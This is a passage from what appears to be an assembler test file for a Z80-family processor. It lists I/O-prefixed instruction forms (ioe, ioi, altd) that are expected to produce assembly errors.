(ix+127) ; Error ioe bit 3, (ix-128) ; Error ioe bit 3, (iy) ; Error ioe bit 3, (iy+127) ; Error ioe bit 3, (iy-128) ; Error ioe bit 4, (hl) ; Error ioe bit 4, (ix) ; Error ioe bit 4, (ix+127) ; Error ioe bit 4, (ix-128) ; Error ioe bit 4, (iy) ; Error ioe bit 4, (iy+127) ; Error ioe bit 4, (iy-128) ; Error ioe bit 5, (hl) ; Error ioe bit 5, (ix) ; Error ioe bit 5, (ix+127) ; Error ioe bit 5, (ix-128) ; Error ioe bit 5, (iy) ; Error ioe bit 5, (iy+127) ; Error ioe bit 5, (iy-128) ; Error ioe bit 6, (hl) ; Error ioe bit 6, (ix) ; Error ioe bit 6, (ix+127) ; Error ioe bit 6, (ix-128) ; Error ioe bit 6, (iy) ; Error ioe bit 6, (iy+127) ; Error ioe bit 6, (iy-128) ; Error ioe bit 7, (hl) ; Error ioe bit 7, (ix) ; Error ioe bit 7, (ix+127) ; Error ioe bit 7, (ix-128) ; Error ioe bit 7, (iy) ; Error ioe bit 7, (iy+127) ; Error ioe bit 7, (iy-128) ; Error ioe bit 8, (hl) ; Error ioe bit 8, (hl) ; Error ioe bit 8, (ix) ; Error ioe bit 8, (ix) ; Error ioe bit 8, (ix+127) ; Error ioe bit 8, (ix+127) ; Error ioe bit 8, (ix-128) ; Error ioe bit 8, (ix-128) ; Error ioe bit 8, (iy) ; Error ioe bit 8, (iy) ; Error ioe bit 8, (iy+127) ; Error ioe bit 8, (iy+127) ; Error ioe bit 8, (iy-128) ; Error ioe bit 8, (iy-128) ; Error ioe cp (hl) ; Error ioe cp (ix) ; Error ioe cp (ix+127) ; Error ioe cp (ix-128) ; Error ioe cp (iy) ; Error ioe cp (iy+127) ; Error ioe cp (iy-128) ; Error ioe cp a, (hl) ; Error ioe cp a, (ix) ; Error ioe cp a, (ix+127) ; Error ioe cp a, (ix-128) ; Error ioe cp a, (iy) ; Error ioe cp a, (iy+127) ; Error ioe cp a, (iy-128) ; Error ioe dec (hl) ; Error ioe dec (ix) ; Error ioe dec (ix+127) ; Error ioe dec (ix-128) ; Error ioe dec (iy) ; Error ioe dec (iy+127) ; Error ioe dec (iy-128) ; Error ioe inc (hl) ; Error ioe inc (ix) ; Error ioe inc (ix+127) ; Error ioe inc (ix-128) ; Error ioe inc (iy) ; Error ioe inc (iy+127) ; Error ioe inc (iy-128) ; Error ioe ld (-32768), a ; Error ioe ld (-32768), bc ; Error ioe ld (-32768), de ; Error ioe ld (-32768), hl ; Error ioe ld (-32768), ix ; Error ioe ld (-32768), iy ; Error ioe ld (-32768), sp ; Error ioe ld (32767), a ; Error ioe ld (32767), bc ; Error ioe ld (32767), de ; Error ioe ld (32767), hl ; Error ioe ld (32767), ix ; Error ioe ld (32767), iy ; Error ioe ld (32767), sp ; Error ioe ld (65535), a ; Error ioe ld (65535), bc ; Error ioe ld (65535), de ; Error ioe ld (65535), hl ; Error ioe ld (65535), ix ; Error ioe ld (65535), iy ; Error ioe ld (65535), sp ; Error ioe ld (bc), a ; Error ioe ld (de), a ; Error ioe ld (hl), -128 ; Error ioe ld (hl), 127 ; Error ioe ld (hl), 255 ; Error ioe ld (hl), a ; Error ioe ld (hl), b ; Error ioe ld (hl), c ; Error ioe ld (hl), d ; Error ioe ld (hl), e ; Error ioe ld (hl), h ; Error ioe ld (hl), hl ; Error ioe ld (hl), l ; Error ioe ld (hl+127), hl ; Error ioe ld (hl-128), hl ; Error ioe ld (ix), -128 ; Error ioe ld (ix), 127 ; Error ioe ld (ix), 255 ; Error ioe ld (ix), a ; Error ioe ld (ix), b ; Error ioe ld (ix), c ; Error ioe ld (ix), d ; Error ioe ld (ix), e ; Error ioe ld (ix), h ; Error ioe ld (ix), hl ; Error ioe ld (ix), l ; Error ioe ld (ix+127), -128 ; Error ioe ld (ix+127), 127 ; Error ioe ld (ix+127), 255 ; Error ioe ld (ix+127), a ; Error ioe ld (ix+127), b ; Error ioe ld (ix+127), c ; Error ioe ld (ix+127), d ; Error ioe ld (ix+127), e ; Error ioe ld (ix+127), h ; Error ioe ld (ix+127), hl ; Error ioe ld (ix+127), l ; Error ioe ld (ix-128), -128 ; Error ioe ld (ix-128), 127 ; Error ioe ld (ix-128), 255 ; Error ioe ld (ix-128), a ; Error ioe ld (ix-128), b ; Error ioe ld (ix-128), c ; Error ioe ld (ix-128), d ; Error ioe ld (ix-128), e ; Error ioe ld (ix-128), h ; Error ioe ld (ix-128), hl ; Error ioe ld (ix-128), l ; Error ioe ld (iy), -128 ; Error ioe ld (iy), 127 ; Error ioe ld (iy), 255 ; Error ioe ld (iy), a ; Error ioe ld (iy), b ; Error ioe ld (iy), c ; Error ioe ld (iy), d ; Error ioe ld (iy), e ; Error ioe ld (iy), h ; Error ioe ld (iy), hl ; Error ioe ld (iy), l ; Error ioe ld (iy+127), -128 ; Error ioe ld (iy+127), 127 ; Error ioe ld (iy+127), 255 ; Error ioe ld (iy+127), a ; Error ioe ld (iy+127), b ; Error ioe ld (iy+127), c ; Error ioe ld (iy+127), d ; Error ioe ld (iy+127), e ; Error ioe ld (iy+127), h ; Error ioe ld (iy+127), hl ; Error ioe ld (iy+127), l ; Error ioe ld (iy-128), -128 ; Error ioe ld (iy-128), 127 ; Error ioe ld (iy-128), 255 ; Error ioe ld (iy-128), a ; Error ioe ld (iy-128), b ; Error ioe ld (iy-128), c ; Error ioe ld (iy-128), d ; Error ioe ld (iy-128), e ; Error ioe ld (iy-128), h ; Error ioe ld (iy-128), hl ; Error ioe ld (iy-128), l ; Error ioe ld a', (-32768) ; Error ioe ld a', (32767) ; Error ioe ld a', (65535) ; Error ioe ld a', (bc) ; Error ioe ld a', (de) ; Error ioe ld a', (hl) ; Error ioe ld a', (ix) ; Error ioe ld a', (ix+127) ; Error ioe ld a', (ix-128) ; Error ioe ld a', (iy) ; Error ioe ld a', (iy+127) ; Error ioe ld a', (iy-128) ; Error ioe ld a, (-32768) ; Error ioe ld a, (32767) ; Error ioe ld a, (65535) ; Error ioe ld a, (bc) ; Error ioe ld a, (de) ; Error ioe ld a, (hl) ; Error ioe ld a, (ix) ; Error ioe ld a, (ix+127) ; Error ioe ld a, (ix-128) ; Error ioe ld a, (iy) ; Error ioe ld a, (iy+127) ; Error ioe ld a, (iy-128) ; Error ioe ld b', (hl) ; Error ioe ld b', (ix) ; Error ioe ld b', (ix+127) ; Error ioe ld b', (ix-128) ; Error ioe ld b', (iy) ; Error ioe ld b', (iy+127) ; Error ioe ld b', (iy-128) ; Error ioe ld b, (hl) ; Error ioe ld b, (ix) ; Error ioe ld b, (ix+127) ; Error ioe ld b, (ix-128) ; Error ioe ld b, (iy) ; Error ioe ld b, (iy+127) ; Error ioe ld b, (iy-128) ; Error ioe ld bc', (-32768) ; Error ioe ld bc', (32767) ; Error ioe ld bc', (65535) ; Error ioe ld bc, (-32768) ; Error ioe ld bc, (32767) ; Error ioe ld bc, (65535) ; Error ioe ld c', (hl) ; Error ioe ld c', (ix) ; Error ioe ld c', (ix+127) ; Error ioe ld c', (ix-128) ; Error ioe ld c', (iy) ; Error ioe ld c', (iy+127) ; Error ioe ld c', (iy-128) ; Error ioe ld c, (hl) ; Error ioe ld c, (ix) ; Error ioe ld c, (ix+127) ; Error ioe ld c, (ix-128) ; Error ioe ld c, (iy) ; Error ioe ld c, (iy+127) ; Error ioe ld c, (iy-128) ; Error ioe ld d', (hl) ; Error ioe ld d', (ix) ; Error ioe ld d', (ix+127) ; Error ioe ld d', (ix-128) ; Error ioe ld d', (iy) ; Error ioe ld d', (iy+127) ; Error ioe ld d', (iy-128) ; Error ioe ld d, (hl) ; Error ioe ld d, (ix) ; Error ioe ld d, (ix+127) ; Error ioe ld d, (ix-128) ; Error ioe ld d, (iy) ; Error ioe ld d, (iy+127) ; Error ioe ld d, (iy-128) ; Error ioe ld de', (-32768) ; Error ioe ld de', (32767) ; Error ioe ld de', (65535) ; Error ioe ld de, (-32768) ; Error ioe ld de, (32767) ; Error ioe ld de, (65535) ; Error ioe ld e', (hl) ; Error ioe ld e', (ix) ; Error ioe ld e', (ix+127) ; Error ioe ld e', (ix-128) ; Error ioe ld e', (iy) ; Error ioe ld e', (iy+127) ; Error ioe ld e', (iy-128) ; Error ioe ld e, (hl) ; Error ioe ld e, (ix) ; Error ioe ld e, (ix+127) ; Error ioe ld e, (ix-128) ; Error ioe ld e, (iy) ; Error ioe ld e, (iy+127) ; Error ioe ld e, (iy-128) ; Error ioe ld h', (hl) ; Error ioe ld h', (ix) ; Error ioe ld h', (ix+127) ; Error ioe ld h', (ix-128) ; Error ioe ld h', (iy) ; Error ioe ld h', (iy+127) ; Error ioe ld h', (iy-128) ; Error ioe ld h, (hl) ; Error ioe ld h, (ix) ; Error ioe ld h, (ix+127) ; Error ioe ld h, (ix-128) ; Error ioe ld h, (iy) ; Error ioe ld h, (iy+127) ; Error ioe ld h, (iy-128) ; Error ioe ld hl', (-32768) ; Error ioe ld hl', (32767) ; Error ioe ld hl', (65535) ; Error ioe ld hl', (hl) ; Error ioe ld hl', (hl+127) ; Error ioe ld hl', (hl-128) ; Error ioe ld hl', (ix) ; Error ioe ld hl', (ix+127) ; Error ioe ld hl', (ix-128) ; Error ioe ld hl', (iy) ; Error ioe ld hl', (iy+127) ; Error ioe ld hl', (iy-128) ; Error ioe ld hl, (-32768) ; Error ioe ld hl, (32767) ; Error ioe ld hl, (65535) ; Error ioe ld hl, (hl) ; Error ioe ld hl, (hl+127) ; Error ioe ld hl, (hl-128) ; Error ioe ld hl, (ix) ; Error ioe ld hl, (ix+127) ; Error ioe ld hl, (ix-128) ; Error ioe ld hl, (iy) ; Error ioe ld hl, (iy+127) ; Error ioe ld hl, (iy-128) ; Error ioe ld ix, (-32768) ; Error ioe ld ix, (32767) ; Error ioe ld ix, (65535) ; Error ioe ld iy, (-32768) ; Error ioe ld iy, (32767) ; Error ioe ld iy, (65535) ; Error ioe ld l', (hl) ; Error ioe ld l', (ix) ; Error ioe ld l', (ix+127) ; Error ioe ld l', (ix-128) ; Error ioe ld l', (iy) ; Error ioe ld l', (iy+127) ; Error ioe ld l', (iy-128) ; Error ioe ld l, (hl) ; Error ioe ld l, (ix) ; Error ioe ld l, (ix+127) ; Error ioe ld l, (ix-128) ; Error ioe ld l, (iy) ; Error ioe ld l, (iy+127) ; Error ioe ld l, (iy-128) ; Error ioe ld sp, (-32768) ; Error ioe ld sp, (32767) ; Error ioe ld sp, (65535) ; Error ioe ldd ; Error ioe lddr ; Error ioe lddsr ; Error ioe ldi ; Error ioe ldir ; Error ioe ldisr ; Error ioe lsddr ; Error ioe lsdr ; Error ioe lsidr ; Error ioe lsir ; Error ioe or (hl) ; Error ioe or (ix) ; Error ioe or (ix+127) ; Error ioe or (ix-128) ; Error ioe or (iy) ; Error ioe or (iy+127) ; Error ioe or (iy-128) ; Error ioe or a', (hl) ; Error ioe or a', (ix) ; Error ioe or a', (ix+127) ; Error ioe or a', (ix-128) ; Error ioe or a', (iy) ; Error ioe or a', (iy+127) ; Error ioe or a', (iy-128) ; Error ioe or a, (hl) ; Error ioe or a, (ix) ; Error ioe or a, (ix+127) ; Error ioe or a, (ix-128) ; Error ioe or a, (iy) ; Error ioe or a, (iy+127) ; Error ioe or a, (iy-128) ; Error ioe res -1, (hl) ; Error ioe res -1, (hl) ; Error ioe res -1, (ix) ; Error ioe res -1, (ix) ; Error ioe res -1, (ix+127) ; Error ioe res -1, (ix+127) ; Error ioe res -1, (ix-128) ; Error ioe res -1, (ix-128) ; Error ioe res -1, (iy) ; Error ioe res -1, (iy) ; Error ioe res -1, (iy+127) ; Error ioe res -1, (iy+127) ; Error ioe res -1, (iy-128) ; Error ioe res -1, (iy-128) ; Error ioe res 0, (hl) ; Error ioe res 0, (ix) ; Error ioe res 0, (ix+127) ; Error ioe res 0, (ix-128) ; Error ioe res 0, (iy) ; Error ioe res 0, (iy+127) ; Error ioe res 0, (iy-128) ; Error ioe res 1, (hl) ; Error ioe res 1, (ix) ; Error ioe res 1, (ix+127) ; Error ioe res 1, (ix-128) ; Error ioe res 1, (iy) ; Error ioe res 1, (iy+127) ; Error ioe res 1, (iy-128) ; Error ioe res 2, (hl) ; Error ioe res 2, (ix) ; Error ioe res 2, (ix+127) ; Error ioe res 2, (ix-128) ; Error ioe res 2, (iy) ; Error ioe res 2, (iy+127) ; Error ioe res 2, (iy-128) ; Error ioe res 3, (hl) ; Error ioe res 3, (ix) ; Error ioe res 3, (ix+127) ; Error ioe res 3, (ix-128) ; Error ioe res 3, (iy) ; Error ioe res 3, (iy+127) ; Error ioe res 3, (iy-128) ; Error ioe res 4, (hl) ; Error ioe res 4, (ix) ; Error ioe res 4, (ix+127) ; Error ioe res 4, (ix-128) ; Error ioe res 4, (iy) ; Error ioe res 4, (iy+127) ; Error ioe res 4, (iy-128) ; Error ioe res 5, (hl) ; Error ioe res 5, (ix) ; Error ioe res 5, (ix+127) ; Error ioe res 5, (ix-128) ; Error ioe res 5, (iy) ; Error ioe res 5, (iy+127) ; Error ioe res 5, (iy-128) ; Error ioe res 6, (hl) ; Error ioe res 6, (ix) ; Error ioe res 6, (ix+127) ; Error ioe res 6, (ix-128) ; Error ioe res 6, (iy) ; Error ioe res 6, (iy+127) ; Error ioe res 6, (iy-128) ; Error ioe res 7, (hl) ; Error ioe res 7, (ix) ; Error ioe res 7, (ix+127) ; Error ioe res 7, (ix-128) ; Error ioe res 7, (iy) ; Error ioe res 7, (iy+127) ; Error ioe res 7, (iy-128) ; Error ioe res 8, (hl) ; Error ioe res 8, (hl) ; Error ioe res 8, (ix) ; Error ioe res 8, (ix) ; Error ioe res 8, (ix+127) ; Error ioe res 8, (ix+127) ; Error ioe res 8, (ix-128) ; Error ioe res 8, (ix-128) ; Error ioe res 8, (iy) ; Error ioe res 8, (iy) ; Error ioe res 8, (iy+127) ; Error ioe res 8, (iy+127) ; Error ioe res 8, (iy-128) ; Error ioe res 8, (iy-128) ; Error ioe rl (hl) ; Error ioe rl (ix) ; Error ioe rl (ix+127) ; Error ioe rl (ix-128) ; Error ioe rl (iy) ; Error ioe rl (iy+127) ; Error ioe rl (iy-128) ; Error ioe rlc (hl) ; Error ioe rlc (ix) ; Error ioe rlc (ix+127) ; Error ioe rlc (ix-128) ; Error ioe rlc (iy) ; Error ioe rlc (iy+127) ; Error ioe rlc (iy-128) ; Error ioe rr (hl) ; Error ioe rr (ix) ; Error ioe rr (ix+127) ; Error ioe rr (ix-128) ; Error ioe rr (iy) ; Error ioe rr (iy+127) ; Error ioe rr (iy-128) ; Error ioe rrc (hl) ; Error ioe rrc (ix) ; Error ioe rrc (ix+127) ; Error ioe rrc (ix-128) ; Error ioe rrc (iy) ; Error ioe rrc (iy+127) ; Error ioe rrc (iy-128) ; Error ioe sbc (hl) ; Error ioe sbc (ix) ; Error ioe sbc (ix+127) ; Error ioe sbc (ix-128) ; Error ioe sbc (iy) ; Error ioe sbc (iy+127) ; Error ioe sbc (iy-128) ; Error ioe sbc a', (hl) ; Error ioe sbc a', (ix) ; Error ioe sbc a', (ix+127) ; Error ioe sbc a', (ix-128) ; Error ioe sbc a', (iy) ; Error ioe sbc a', (iy+127) ; Error ioe sbc a', (iy-128) ; Error ioe sbc a, (hl) ; Error ioe sbc a, (ix) ; Error ioe sbc a, (ix+127) ; Error ioe sbc a, (ix-128) ; Error ioe sbc a, (iy) ; Error ioe sbc a, (iy+127) ; Error ioe sbc a, (iy-128) ; Error ioe set -1, (hl) ; Error ioe set -1, (hl) ; Error ioe set -1, (ix) ; Error ioe set -1, (ix) ; Error ioe set -1, (ix+127) ; Error ioe set -1, (ix+127) ; Error ioe set -1, (ix-128) ; Error ioe set -1, (ix-128) ; Error ioe set -1, (iy) ; Error ioe set -1, (iy) ; Error ioe set -1, (iy+127) ; Error ioe set -1, (iy+127) ; Error ioe set -1, (iy-128) ; Error ioe set -1, (iy-128) ; Error ioe set 0, (hl) ; Error ioe set 0, (ix) ; Error ioe set 0, (ix+127) ; Error ioe set 0, (ix-128) ; Error ioe set 0, (iy) ; Error ioe set 0, (iy+127) ; Error ioe set 0, (iy-128) ; Error ioe set 1, (hl) ; Error ioe set 1, (ix) ; Error ioe set 1, (ix+127) ; Error ioe set 1, (ix-128) ; Error ioe set 1, (iy) ; Error ioe set 1, (iy+127) ; Error ioe set 1, (iy-128) ; Error ioe set 2, (hl) ; Error ioe set 2, (ix) ; Error ioe set 2, (ix+127) ; Error ioe set 2, (ix-128) ; Error ioe set 2, (iy) ; Error ioe set 2, (iy+127) ; Error ioe set 2, (iy-128) ; Error ioe set 3, (hl) ; Error ioe set 3, (ix) ; Error ioe set 3, (ix+127) ; Error ioe set 3, (ix-128) ; Error ioe set 3, (iy) ; Error ioe set 3, (iy+127) ; Error ioe set 3, (iy-128) ; Error ioe set 4, (hl) ; Error ioe set 4, (ix) ; Error ioe set 4, (ix+127) ; Error ioe set 4, (ix-128) ; Error ioe set 4, (iy) ; Error ioe set 4, (iy+127) ; Error ioe set 4, (iy-128) ; Error ioe set 5, (hl) ; Error ioe set 5, (ix) ; Error ioe set 5, (ix+127) ; Error ioe set 5, (ix-128) ; Error ioe set 5, (iy) ; Error ioe set 5, (iy+127) ; Error ioe set 5, (iy-128) ; Error ioe set 6, (hl) ; Error ioe set 6, (ix) ; Error ioe set 6, (ix+127) ; Error ioe set 6, (ix-128) ; Error ioe set 6, (iy) ; Error ioe set 6, (iy+127) ; Error ioe set 6, (iy-128) ; Error ioe set 7, (hl) ; Error ioe set 7, (ix) ; Error ioe set 7, (ix+127) ; Error ioe set 7, (ix-128) ; Error ioe set 7, (iy) ; Error ioe set 7, (iy+127) ; Error ioe set 7, (iy-128) ; Error ioe set 8, (hl) ; Error ioe set 8, (hl) ; Error ioe set 8, (ix) ; Error ioe set 8, (ix) ; Error ioe set 8, (ix+127) ; Error ioe set 8, (ix+127) ; Error ioe set 8, (ix-128) ; Error ioe set 8, (ix-128) ; Error ioe set 8, (iy) ; Error ioe set 8, (iy) ; Error ioe set 8, (iy+127) ; Error ioe set 8, (iy+127) ; Error ioe set 8, (iy-128) ; Error ioe set 8, (iy-128) ; Error ioe sla (hl) ; Error ioe sla (ix) ; Error ioe sla (ix+127) ; Error ioe sla (ix-128) ; Error ioe sla (iy) ; Error ioe sla (iy+127) ; Error ioe sla (iy-128) ; Error ioe sra (hl) ; Error ioe sra (ix) ; Error ioe sra (ix+127) ; Error ioe sra (ix-128) ; Error ioe sra (iy) ; Error ioe sra (iy+127) ; Error ioe sra (iy-128) ; Error ioe srl (hl) ; Error ioe srl (ix) ; Error ioe srl (ix+127) ; Error ioe srl (ix-128) ; Error ioe srl (iy) ; Error ioe srl (iy+127) ; Error ioe srl (iy-128) ; Error ioe sub (hl) ; Error ioe sub (ix) ; Error ioe sub (ix+127) ; Error ioe sub (ix-128) ; Error ioe sub (iy) ; Error ioe sub (iy+127) ; Error ioe sub (iy-128) ; Error ioe sub a', (hl) ; Error ioe sub a', (ix) ; Error ioe sub a', (ix+127) ; Error ioe sub a', (ix-128) ; Error ioe sub a', (iy) ; Error ioe sub a', (iy+127) ; Error ioe sub a', (iy-128) ; Error ioe sub a, (hl) ; Error ioe sub a, (ix) ; Error ioe sub a, (ix+127) ; Error ioe sub a, (ix-128) ; Error ioe sub a, (iy) ; Error ioe sub a, (iy+127) ; Error ioe sub a, (iy-128) ; Error ioe xor (hl) ; Error ioe xor (ix) ; Error ioe xor (ix+127) ; Error ioe xor (ix-128) ; Error ioe xor (iy) ; Error ioe xor (iy+127) ; Error ioe xor (iy-128) ; Error ioe xor a', (hl) ; Error ioe xor a', (ix) ; Error ioe xor a', (ix+127) ; Error ioe xor a', (ix-128) ; Error ioe xor a', (iy) ; Error ioe xor a', (iy+127) ; Error ioe xor a', (iy-128) ; Error ioe xor a, (hl) ; Error ioe xor a, (ix) ; Error ioe xor a, (ix+127) ; Error ioe xor a, (ix-128) ; Error ioe xor a, (iy) ; Error ioe xor a, (iy+127) ; Error ioe xor a, (iy-128) ; Error ioi adc (hl) ; Error ioi adc (ix) ; Error ioi adc (ix+127) ; Error ioi adc (ix-128) ; Error ioi adc (iy) ; Error ioi adc (iy+127) ; Error ioi adc (iy-128) ; Error ioi adc a', (hl) ; Error ioi adc a', (ix) ; Error ioi adc a', (ix+127) ; Error ioi adc a', (ix-128) ; Error ioi adc a', (iy) ; Error ioi adc a', (iy+127) ; Error ioi adc a', (iy-128) ; Error ioi adc a, (hl) ; Error ioi adc a, (ix) ; Error ioi adc a, (ix+127) ; Error ioi adc a, (ix-128) ; Error ioi adc a, (iy) ; Error ioi adc a, (iy+127) ; Error ioi adc a, (iy-128) ; Error ioi add (hl) ; Error ioi add (ix) ; Error ioi add (ix+127) ; Error ioi add (ix-128) ; Error ioi add (iy) ; Error ioi add (iy+127) ; Error ioi add (iy-128) ; Error ioi add a', (hl) ; Error ioi add a', (ix) ; Error ioi add a', (ix+127) ; Error ioi add a', (ix-128) ; Error ioi add a', (iy) ; Error ioi add a', (iy+127) ; Error ioi add a', (iy-128) ; Error ioi add a, (hl) ; Error ioi add a, (ix) ; Error ioi add a, (ix+127) ; Error ioi add a, (ix-128) ; Error ioi add a, (iy) ; Error ioi add a, (iy+127) ; Error ioi add a, (iy-128) ; Error ioi altd adc (hl) ; Error ioi altd adc (ix) ; Error ioi altd adc (ix+127) ; Error ioi altd adc (ix-128) ; Error ioi altd adc (iy) ; Error ioi altd adc (iy+127) ; Error ioi altd adc (iy-128) ; Error ioi altd adc a, (hl) ; Error ioi altd adc a, (ix) ; Error ioi altd adc a, (ix+127) ; Error ioi altd adc a, (ix-128) ; Error ioi altd adc a, (iy) ; Error ioi altd adc a, (iy+127) ; Error ioi altd adc a, (iy-128) ; Error ioi altd add (hl) ; Error ioi altd add (ix) ; Error ioi altd add (ix+127) ; Error ioi altd add (ix-128) ; Error ioi altd add (iy) ; Error ioi altd add (iy+127) ; Error ioi altd add (iy-128) ; Error ioi altd add a, (hl) ; Error ioi altd add a, (ix) ; Error ioi altd add a, (ix+127) ; Error ioi altd add a, (ix-128) ; Error ioi altd add a, (iy) ; Error ioi altd add a, (iy+127) ; Error ioi altd add a, (iy-128) ; Error ioi altd and (hl) ; Error ioi altd and (ix) ; Error ioi altd and (ix+127) ; Error ioi altd and (ix-128) ; Error ioi altd and (iy) ; Error ioi altd and (iy+127) ; Error ioi altd and (iy-128) ; Error ioi altd and a, (hl) ; Error ioi altd and a, (ix) ; Error ioi altd and a, (ix+127) ; Error ioi altd and a, (ix-128) ; Error ioi altd and a, (iy) ; Error ioi altd and a, (iy+127) ; Error ioi altd and a, (iy-128) ; Error ioi altd bit -1, (hl) ; Error ioi altd bit -1, (hl) ; Error ioi altd bit -1, (ix) ; Error ioi altd bit -1, (ix) ; Error ioi altd bit -1, (ix+127) ; Error ioi altd bit -1, (ix+127) ; Error ioi altd bit -1, (ix-128) ; Error ioi altd bit -1, (ix-128) ; Error ioi altd bit -1, (iy) ; Error ioi altd bit -1, (iy) ; Error ioi altd bit -1, (iy+127) ; Error ioi altd bit -1, (iy+127) ; Error ioi altd bit -1, (iy-128) ; Error ioi altd bit -1, (iy-128) ; Error ioi altd bit 0, (hl) ; Error ioi altd bit 0, (ix) ; Error ioi altd bit 0, (ix+127) ; Error ioi altd bit 0, (ix-128) ; Error ioi altd bit 0, (iy) ; Error ioi altd bit 0, (iy+127) ; Error ioi altd bit 0, (iy-128) ; Error ioi altd bit 1, (hl) ; Error ioi altd bit 1, (ix) ; Error ioi altd bit 1, (ix+127) ; Error ioi altd bit 1, (ix-128) ; Error ioi altd bit 1, (iy) ; Error ioi altd bit 1, (iy+127) ; Error ioi altd bit 1, (iy-128) ; Error ioi altd bit 2, (hl) ; Error ioi altd bit 2, (ix) ; Error ioi altd bit 2, (ix+127) ; Error ioi altd bit 2, (ix-128) ; Error ioi altd bit 2, (iy) ; Error ioi altd bit 2, (iy+127) ; Error ioi altd bit 2, (iy-128) ; Error ioi altd bit 3, (hl) ; Error ioi altd bit 3, (ix) ; Error ioi altd bit 3, (ix+127) ; Error ioi altd bit 3, (ix-128) ; Error ioi altd bit 3, (iy) ; Error ioi altd bit 3, (iy+127) ; Error ioi altd bit 3, (iy-128) ; Error ioi altd bit 4, (hl) ; Error ioi altd bit 4, (ix) ; Error ioi altd bit 4, (ix+127) ; Error ioi altd bit 4, (ix-128) ; Error ioi altd bit 4, (iy) ; Error ioi altd bit 4, (iy+127) ; Error ioi altd bit 4, (iy-128) ; Error ioi altd bit 5, (hl) ; Error ioi altd bit 5, (ix) ; Error ioi altd bit 5, (ix+127) ; Error ioi altd bit 5, (ix-128) ; Error ioi altd bit 5, (iy) ; Error ioi altd bit 5, (iy+127) ; Error ioi altd bit 5, (iy-128) ; Error ioi altd bit 6, (hl) ; Error ioi altd bit 6, (ix) ; Error ioi altd bit 6, (ix+127) ; Error ioi altd bit 6, (ix-128) ; Error ioi altd bit 6, (iy) ; Error ioi altd bit 6, (iy+127) ; Error ioi altd bit 6, (iy-128) ; Error ioi altd bit 7, (hl) ; Error ioi altd bit 7, (ix) ; Error ioi altd bit 7, (ix+127) ; Error ioi altd bit 7, (ix-128) ; Error ioi altd bit 7, (iy) ; Error ioi altd bit 7, (iy+127) ; Error ioi altd bit 7, (iy-128) ; Error ioi altd bit 8, (hl) ; Error ioi altd bit 8, (hl) ; Error ioi altd bit 8, (ix) ; Error ioi altd bit 8, (ix) ; Error ioi altd bit 8, (ix+127) ; Error ioi altd bit 8, (ix+127) ; Error ioi altd bit 8, (ix-128) ; Error ioi altd bit 8, (ix-128) ; Error ioi altd bit 8, (iy) ; Error ioi altd bit 8, (iy) ; Error ioi altd bit 8, (iy+127) ; Error ioi altd bit 8, (iy+127) ; Error ioi altd bit 8, (iy-128) ; Error ioi altd bit 8, (iy-128) ; Error ioi altd cp (hl) ; Error ioi altd cp (ix) ; Error ioi altd cp (ix+127) ; Error ioi altd cp (ix-128) ; Error ioi altd cp (iy) ; Error ioi altd cp (iy+127) ; Error ioi altd cp (iy-128) ; Error ioi altd cp a, (hl) ; Error ioi altd cp a, (ix) ; Error ioi altd cp a, (ix+127) ; Error ioi altd cp a, (ix-128) ; Error ioi altd cp a, (iy) ; Error ioi altd cp a, (iy+127) ; Error ioi altd cp a, (iy-128) ; Error ioi altd dec (hl) ; Error ioi altd dec (ix) ; Error ioi altd dec (ix+127) ; Error ioi altd dec (ix-128) ; Error ioi altd dec (iy) ; Error ioi altd dec (iy+127) ; Error ioi altd dec (iy-128) ; Error ioi altd inc (hl) ; Error ioi altd inc (ix) ; Error ioi altd inc (ix+127) ; Error ioi altd inc (ix-128) ; Error ioi altd inc (iy) ; Error ioi altd inc (iy+127) ; Error ioi altd inc (iy-128) ; Error ioi altd ld a, (-32768) ; Error ioi altd ld a, (32767) ; Error ioi altd ld a, (65535) ; Error ioi altd ld a, (bc) ; Error ioi altd ld a, (de) ; Error ioi altd ld a, (hl) ; Error ioi altd ld a, (ix) ; Error ioi altd ld a, (ix+127) ; Error ioi altd ld a, (ix-128) ; Error ioi altd ld a, (iy) ; Error ioi altd ld a, (iy+127) ; Error ioi altd ld a, (iy-128) ; Error ioi altd ld b, (hl) ; Error ioi altd ld b, (ix) ; Error ioi altd ld b, (ix+127) ; Error ioi altd ld b, (ix-128) ; Error ioi altd ld b, (iy) ; Error ioi altd ld b, (iy+127) ; Error ioi altd ld b, (iy-128) ; Error ioi altd ld bc, (-32768) ; Error ioi altd ld bc, (32767) ; Error ioi altd ld bc, (65535) ; Error ioi altd ld c, (hl) ; Error ioi altd ld c, (ix) ; Error ioi altd ld c, (ix+127) ; Error ioi altd ld c, (ix-128) ; Error ioi altd ld c, (iy) ; Error ioi altd ld c, (iy+127) ; Error ioi altd ld c, (iy-128) ; Error ioi altd ld d, (hl) ; Error ioi altd ld d, (ix) ; Error ioi altd ld d, (ix+127) ; Error ioi altd ld d, (ix-128) ; Error ioi altd ld d, (iy) ; Error ioi altd ld d, (iy+127) ; Error ioi altd ld d, (iy-128) ; Error ioi altd ld de, (-32768) ; Error ioi altd ld de, (32767) ; Error ioi altd ld de, (65535) ; Error ioi altd ld e, (hl) ; Error ioi altd ld e, (ix) ; Error ioi altd ld e, (ix+127) ; Error ioi altd ld e, (ix-128) ; Error ioi altd ld e, (iy) ; Error ioi altd ld e, (iy+127) ; Error ioi altd ld e, (iy-128) ; Error ioi altd ld h, (hl) ; Error ioi altd ld h, (ix) ; Error ioi altd ld h, (ix+127) ; Error ioi altd ld h, (ix-128) ; Error ioi altd ld h, (iy) ; Error ioi altd ld h, (iy+127) ; Error ioi altd ld h, (iy-128) ; Error ioi altd ld hl, (-32768) ; Error ioi altd ld hl, (32767) ; Error ioi altd ld hl, (65535) ; Error ioi altd ld hl, (hl) ; Error ioi altd ld hl, (hl+127) ; Error ioi altd ld hl, (hl-128) ; Error ioi altd ld hl, (ix) ; Error ioi altd ld hl, (ix+127) ; Error ioi altd ld hl, (ix-128) ; Error ioi altd ld hl, (iy) ; Error ioi altd ld hl, (iy+127) ; Error ioi altd ld hl, (iy-128) ; Error ioi altd ld l, (hl) ; Error ioi altd ld l, (ix) ; Error ioi altd ld l, (ix+127) ; Error ioi altd ld l, (ix-128) ; Error ioi altd ld l, (iy) ; Error ioi altd ld l, (iy+127) ; Error ioi altd ld l, (iy-128) ; Error ioi altd or (hl) ; Error ioi altd or (ix) ; Error ioi altd or (ix+127) ; Error ioi altd or (ix-128) ; Error ioi altd or (iy) ; Error ioi altd or (iy+127) ; Error ioi altd or (iy-128) ; Error ioi altd or a, (hl) ; Error ioi altd or a, (ix) ; Error ioi altd or a, (ix+127) ; Error ioi altd or a, (ix-128) ; Error ioi altd or a, (iy) ; 